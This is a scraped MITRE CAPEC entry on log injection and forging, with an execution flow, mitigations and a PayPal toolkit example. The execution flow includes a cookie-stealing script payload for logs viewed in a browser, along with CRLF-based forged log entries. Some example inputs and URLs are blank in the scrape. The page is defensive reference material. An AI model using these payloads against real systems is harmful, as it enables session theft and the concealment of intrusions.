New to CAPEC? Start Here
Home > CAPEC List > CAPEC-93: Log Injection-Tampering-Forging (Version 3.9)  

CAPEC-93: Log Injection-Tampering-Forging

Attack Pattern ID: 93
Abstraction: Detailed
View customized information:
+ Description
This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.
+ Likelihood Of Attack


+ Typical Severity


+ Relationships
Section HelpThis table shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf and ParentOf, and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore.
ChildOfStandard Attack PatternStandard Attack Pattern - A standard level attack pattern in CAPEC is focused on a specific methodology or technique used in an attack. It is often seen as a singular piece of a fully executed attack. A standard attack pattern is meant to provide sufficient details to understand the specific technique and how it attempts to accomplish a desired goal. A standard level attack pattern is a specific type of a more abstract meta level attack pattern.268Audit Log Manipulation
CanPrecedeDetailed Attack PatternDetailed Attack Pattern - A detailed level attack pattern in CAPEC provides a low level of detail, typically leveraging a specific technique and targeting a specific technology, and expresses a complete execution flow. Detailed attack patterns are more specific than meta attack patterns and standard attack patterns and often require a specific protection mechanism to mitigate actual attacks. A detailed level attack pattern often will leverage a number of different standard level attack patterns chained together to accomplish a goal.592Stored XSS
Section HelpThis table shows the views that this attack pattern belongs to and top level categories within that view.
+ Execution Flow
  1. Determine Application's Log File Format: The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system.

    Determine logging utility being used by application (e.g. log4j)
    Gain access to application's source code to determine log file formats.
    Install or obtain access to instance of application and observe its log file format.
  1. Manipulate Log Files: The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.


    Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example:


    may add the following forged entry into a log file:

    "[Thu Nov 12 12:11:22]:Info: User admin logged in"

    Different applications may require different encodings of the carriage return and line feed characters.

    Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain

    <script>new Image().src=""+encodeURI(document.cookie);</script>

    The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).

+ Prerequisites
The target host is logging the action and data of the user.
The target host insufficiently protects access to the logs or logging mechanisms.
+ Skills Required
[Level: Low]
This attack can be as simple as adding extra characters to the logged data (e.g. username). Adding entries is typically easier than removing entries.
[Level: Medium]
A more sophisticated attack can try to defeat the input validation mechanism.
+ Consequences
Section HelpThis table specifies different individual consequences associated with the attack pattern. The Scope identifies the security property that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in their attack. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a pattern will be used to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Modify Data
+ Mitigations
Carefully control access to physical log files.
Do not allow tainted data to be written in the log file without prior input validation. An allowlist may be used to properly validate the data.
Use synchronization to control the flow of execution.
Use static analysis tools to identify log forging vulnerabilities.
Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.
+ Example Instances
Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php. See also: CVE-2006-0201

If a user submits the string "twenty-one" for val, the following entry is logged:

INFO: Failed to parse val=twenty-one

However, if an attacker submits the string


the following entry is logged:

INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

+ Taxonomy Mappings
Section HelpCAPEC mappings to ATT&CK techniques leverage an inheritance model to streamline and minimize direct CAPEC/ATT&CK mappings. Inheritance of a mapping is indicated by text stating that the parent CAPEC has relevant ATT&CK mappings. Note that the ATT&CK Enterprise Framework does not use an inheritance model as part of the mapping to CAPEC.
Relevant to the ATT&CK taxonomy mapping (see parent )
+ References
[REF-131] J. Viega and G. McGraw. "Building Secure Software". Addison-Wesley. 2002.
[REF-550] A. Muffet. "The night the log was forged". <>.
[REF-551] "The OWASP Application Security Desk Reference". Log injection. The Open Web Application Security Project (OWASP). 2009. <>.
[REF-552] Fortify Software. "SAMATE - Software Assurance Metrics And Tool Evaluation". Test Case ID 1579. National Institute of Standards and Technology (NIST). 2006-06-22. <>.
+ Content History
Submission DateSubmitterOrganization
(Version 2.6)
CAPEC Content TeamThe MITRE Corporation
Modification DateModifierOrganization
(Version 2.7)
CAPEC Content TeamThe MITRE Corporation
Updated References
(Version 2.10)
CAPEC Content TeamThe MITRE Corporation
Updated Related_Attack_Patterns, Related_Weaknesses
(Version 2.12)
CAPEC Content TeamThe MITRE Corporation
Updated Examples-Instances, References
(Version 3.3)
CAPEC Content TeamThe MITRE Corporation
Updated Description, Mitigations, Related_Attack_Patterns
(Version 3.5)
CAPEC Content TeamThe MITRE Corporation
Updated Related_Weaknesses
(Version 3.8)
CAPEC Content TeamThe MITRE Corporation
Updated Example_Instances, Execution_Flow, Taxonomy_Mappings
More information is available — Please select a different filter.
Page Last Updated or Reviewed: July 31, 2018